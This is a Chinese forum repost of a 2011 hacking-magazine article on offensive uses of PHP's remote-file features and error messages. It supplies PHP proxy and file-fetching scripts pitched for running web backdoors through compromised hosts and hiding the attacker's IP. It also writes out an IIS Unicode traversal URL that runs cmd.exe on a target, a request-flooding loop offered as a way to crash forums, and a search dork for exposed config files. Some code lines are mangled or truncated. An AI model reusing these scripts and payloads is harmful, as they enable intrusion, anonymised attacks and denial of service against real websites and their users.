赵希芹 發表於 2011-3-11 12:11:02

PHP在安全方面的另类应用

<p>  1.远程文件</p> <p>  PHP是一门具有丰富特性的语言,它提供了大量函数,使程序员能够方便地实现各种功能,远程文件就是一个很好的例子:</p> <p>  代码</p> <p>  <!--p<--></p> <p>  $fp=@Fopen($url,&quot;r&quot;) or die (&quot;cannot open $url&quot;);</p> <p>  while($line=@fgets($fp,1024)) {</p> <p>  $contents.=$line;</p> <p>  }</p> <p>  echo $contents; //显示文件内容</p> <p>  fclose($fp); //关闭文件</p> <p>  ?&gt;</p> <p>  以上是一段利用Fopen函数打开文件的代码,由于Fopen函数支持远程文件,使得它应用起来相当有趣,将以上代码保存为Proxy.php,然后后提交:</p> <p>  代码</p> <p>  /proxy.php?url=http://www.hacker.com.cn/bbs</p> <p>  这时候你会发现论坛下方显示的IP地址变成了PHP脚本所处服务器的IP地址。Fopen函数可以从任何其Web或FTP站点读取文件,事实上PHP的大多数文件处理函数对远程文件都是透明的,比如请求:</p> <p>  代码</p> <p>  /proxy.php?url=http://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir</p> <p>  这样实际上是利用了Target主机上的Unicode漏洞,执行了DIR命令。但并不是所有的服务器都支持远程文件的功能,如果你使用的是商业的服务器,很可能会发现远程文件使用不了(如51的虚拟主机),这是因为在商业主机上限制远程文件的功能,往往能够更好的保护服务器的正常运行。你可以通过PHPinfo()查看服务器是否支持这种功能。当然,在PHPinfo()被禁用的情况下,也可以使用Get_cfg_var():</p> <p>  代码</p> <p>  <!--p<--></p> <p>  echo &quot;是否允许使用远程文件(allow_url_Fopen)&quot;;</p> <p>  ?php</p> <p>  if (get_cfg_var(&quot;allow_url_Fopen&quot;)==&quot;1&quot;)</p> <p>  {</p> <p>  echo(&quot;<b>是</b>&quot;);</p> <p>  }</p> <p>  else echo(&quot;<b>否</b>&quot;);</p> <p>  ?&gt;</p> <p>  当Allow_url_Fopen一项参数为ON时,即支持远程文件的功能。充分发挥远程文件的特性,我们可以实现许多特殊的功能:如果你是用过PHP Flame的最新版本,你会发现它在集文件夹复制、文本搜索等功能的基础上,又增加了Web间文件传输的功能,依靠这种功能,你可以随意将其他服务器上的文件传送到你的Web目录下。而且,在两台服务器间传送文件有着飞快的传输速度。我们看看实现这个功能的代码:</p> <p>  代码</p> <p>  <!--p<--></p> <p>  $fp = Fopen($_GET['filename'], 'rb'); //打开文件</p> <p>  $data = $tmp = '';</p> <p>  while ( true ) {</p> <p>  $tmp = fgets($fp, 1024);</p> <p>  if ( 0 === strlen($tmp) ) {</p> <p>  break; //跳出while循环</p> <p>  }</p> <p>  $data .= $tmp;</p> <p>  }</p> <p>  fclose($fp); //关闭文件</p> <p>  $file=preg_replace(&quot;/^.+//&quot;,&quot;&quot;,$filename);//转换文件名</p> <p>  //write</p> <p>  $fp = Fopen(&quot;$file&quot;, 'wb'); //生成文件</p> <p>  fwrite($fp, $data); //写入数据</p> <p>  fclose($fp);</p> <p>  ?&gt;</p> <p>  在调用Fopen和Fwrite函数时加入&quot;b&quot;标记,可以使这两个函数安全运用于二进制文件而不损坏数据。在以上脚本提交:</p> <p>  /down.php?filename=http://www.chinaz.com/winrar.zip</p> <p>  这时便会在Down.php的所处目录下生成相应的Winrar.zip文件。如果再配合遍历目录的功能,你将可以实现多个文件夹服务器间的传输。但是,远程文件应该还有更大的发挥空间,比如写SQL Injection攻击的自动脚本,甚至是HTTP的代理服务:</p> <p>  代码</p> <p>  </p> <p>  $url = getenv(&quot;QUERY_STRING&quot;);</p> <p>  if(!ereg(&quot;^http&quot;,$url)) //检查输入的URL格式</p> <p>  {</p> <p>  echo &quot;例子:<br /> http://www.163.com/<br /> &quot;;</p> <p>  echo &quot;http://www.xxxx.com/list.php?id=600<br /> &quot;;</p> <p>  echo &quot;当URL为目录时需要在目录后加入&quot;/&quot;&quot;;</p> <p>  exit;</p> <p>  }</p> <p>  if($url)</p> <p>  $url=str_replace(&quot;\&quot;,&quot;/&quot;,$url);</p> <p>  $f=@Fopen($url,&quot;r&quot;); //打开文件</p> <p>  $a=&quot;&quot;;</p> <p>  if($f)</p> <p>  {</p> <p>  while(!feof($f))</p> <p>  $a.=@fread($f,8000); //读取文件</p> <p>  fclose($f);</p> <p>  }</p> <p>  $rooturl = preg_replace(&quot;/(.+/)(.*)/i&quot;,&quot;\1&quot;,$url); //转换根目录</p> <p>  $a = preg_replace(&quot;/(src[[:space:]]*=['&quot;])([^h].*?)/is&quot;,&quot;\1$rooturl\2&quot;,$a);</p> <p>  $a = preg_replace(&quot;/(src[[:space:]]*=)([^h'&quot;].*?)/is&quot;,&quot;\1$rooturl\2&quot;,$a); //转换图片地址</p> <p>  $a = preg_replace(&quot;/(action[[:space:]]*=['&quot;])([^h].*?)/is&quot;,&quot;\1$php_self?$rooturl\2&quot;,$a);</p> <p>  $a = preg_replace(&quot;/(action[[:space:]]*=)([^h'&quot;].*?)/is&quot;,&quot;\1$php_self?$rooturl\2&quot;,$a); //转换POST地址</p> <p>  $a = preg_replace(&quot;/(</p> <p>  $a = preg_replace(&quot;/(</p> <p>  $a = preg_replace(&quot;/(link.+?href[[:space:]]*=[^'&quot;])(.*?)/is&quot;,&quot;\1$rooturl\2&quot;,$a);</p> <p>  $a = preg_replace(&quot;/(link.+?href[[:space:]]*=['&quot;])(.*?)/is&quot;,&quot;\1$rooturl\2&quot;,$a); //转换样式表地址</p> <p>  echo $a;</p> <p>  exit;</p> <p>  ?&gt;</p> <p>  在正则表达式的帮助下,以上代码能够自行地将返回页面中包含的链接和图片进行转换,并把页面内的链接自动提交到当前PHP脚本的$url中。例如提交:</p> <p>  /proxy.php?http://www.xfocus.net/</p> <p>  脚本将会返回http://www.xfocus.net/的内容,如图1所示。</p> <p>  图1</p> <p>  当然,这运用的绝对不仅仅是框架的技巧。运用这个脚本你可以远程操作安置在其他服务器的Web后门,或者将肉鸡做成一个简单的HTTP代理,从而更好的隐藏自己的IP。如果使用PHP编写CGI扫描工具,你需要延长PHP的有效运行时间。以下是两种有效的方法,当然你也可以将PHP代码编译成GUI界面,从而解决这个问题。设置PHP的有效运行时间为三分钟:</p> <p>  代码</p> <p>  <!--ni_set("max_execution_time",60*3);--></p> <p>  <!--et_time_limit(60*3);--></p> <p>  我们再看看这种功能在DDOS攻击中的应用:</p> <p>  代码</p> <p>  <!--p<--></p> <p>  set_time_limit(60*3);</p> <p>  $url=&quot;http://www.xxx.com/bbs/userlist.php?userid=&quot;;</p> <p>  for($i=1131;$i&lt;=1180;$i++)</p> <p>  {</p> <p>  $urls=$url.$i; //将$url与$i链接在一起</p> <p>  $f=@Fopen($urls,&quot;r&quot;); //请求$urls</p> <p>  $a=@fread($f,10); //取出部分内容</p> <p>  fclose($f); //关闭$urls</p> <p>  }</p> <p>  ?&gt;</p> <p>  以上用For循环不断地请求Userlist.php?userid=$i的内容($i的值每次都是不同的),但是打开后仅仅取出几个字节便关闭这个脚本了。PHP运行在虚拟主机上,10秒钟便可以打开几十个URL,当同时运行多个进程时,便有可能实现DDOS攻击,让对方的论坛迅速崩溃。</p> <p>  限于版面,远程文件的内容就先说到这里了,如果你还有不明白的地方,请参考以下的这篇文章:《在PHP中使用远程文件》</p> <p>  2.错误回显</p> <p>  PHP在默认的情况下打开错误回显,这样可以便于程序员在调试脚本时发现代码的错误,但是这也往往使Web暴露了PHP的代码和服务器的一些数据。PHP对代码的规范性要求比较严格,以下是一种比较常见的错误回显:</p> <p>  warning:file(&quot;data/1120'.htm)-no such file or</p> <p>  directory in /usr/home/xxxxx.com/show.php on line 300</p> <p>  这种错误回显,至少告诉了我们三个信息:服务器的操作系统是LINUX;服务器使用文本数据库;Show.php的第300行代码为&quot;file (&quot;./data/1120/&quot;.$data.&quot;.htm&quot;)&quot;。</p> <p>  这种错误回显,已经足以成为一台服务器致命的漏洞。从另一个利用的角度来看,我们发现一般的PHP错误回都包含了&quot;warning&quot;字符,但是这有什么用呢?我们得先认识一下PHP的库文件。</p> <p>  PHP的Include()和Require()主要是为了支持代码库,因为我们一般是把一些经常使用的函数放到一个独立的文件中,这个独立的文件就是代码库,当需要使用其中的函数时,我们只要把这个代码库包含到当前的文件中就可以了。</p> <p>  最初,人们开发和发布PHP程序的时候,为了区别代码库和主程序代码,一般是为代码库文件设置一个&quot;.inc&quot;的扩展名,但是他们很快发现这是一个错误,因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时,我们就会得到该文件的源代码,这是因为当把PHP作为Apache的模块使用时,PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的,一般是&quot;.php&quot;, &quot;.php3&quot;和&quot;.php4&quot;。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中,那么远程攻击者将容易得到这些信息。</p> <p>  按照以往的程序员的习惯,往往会把一些重要的文件设定&quot;config.inc&quot;,&quot;coon.inc&quot;等形式,如果我们在搜索引撃中搜索&quot;warning+config.inc&quot;,那么你会发现许多网站都暴露了&quot;.inc&quot;文件的代码,甚至包括许多商业和政府网站,如图2所示。</p> <p>  图2</p> <p>  要关闭PHP的错误回显通常有两个方法,第一个是直接修改Php.ini中的设置,这我们以前已经介绍过了;第二种方法是在PHP脚本中加入抑制错误回显的代码,你可以在调用的函数前函数加入&quot;@&quot;字符,或者在PHP的代码顶端加入&quot;error_reporting(0);&quot;的代码,要了解更多的内容请参考PHP手册中的&quot;error_reporting&quot;一节。</p> <p> </p> <p>&nbsp;</p> <p>(本文由责任编辑 pasu 整理发布)</p> <p>&nbsp;</p> <p>&nbsp;</p>
頁: [1]
查看完整版本: PHP在安全方面的另类应用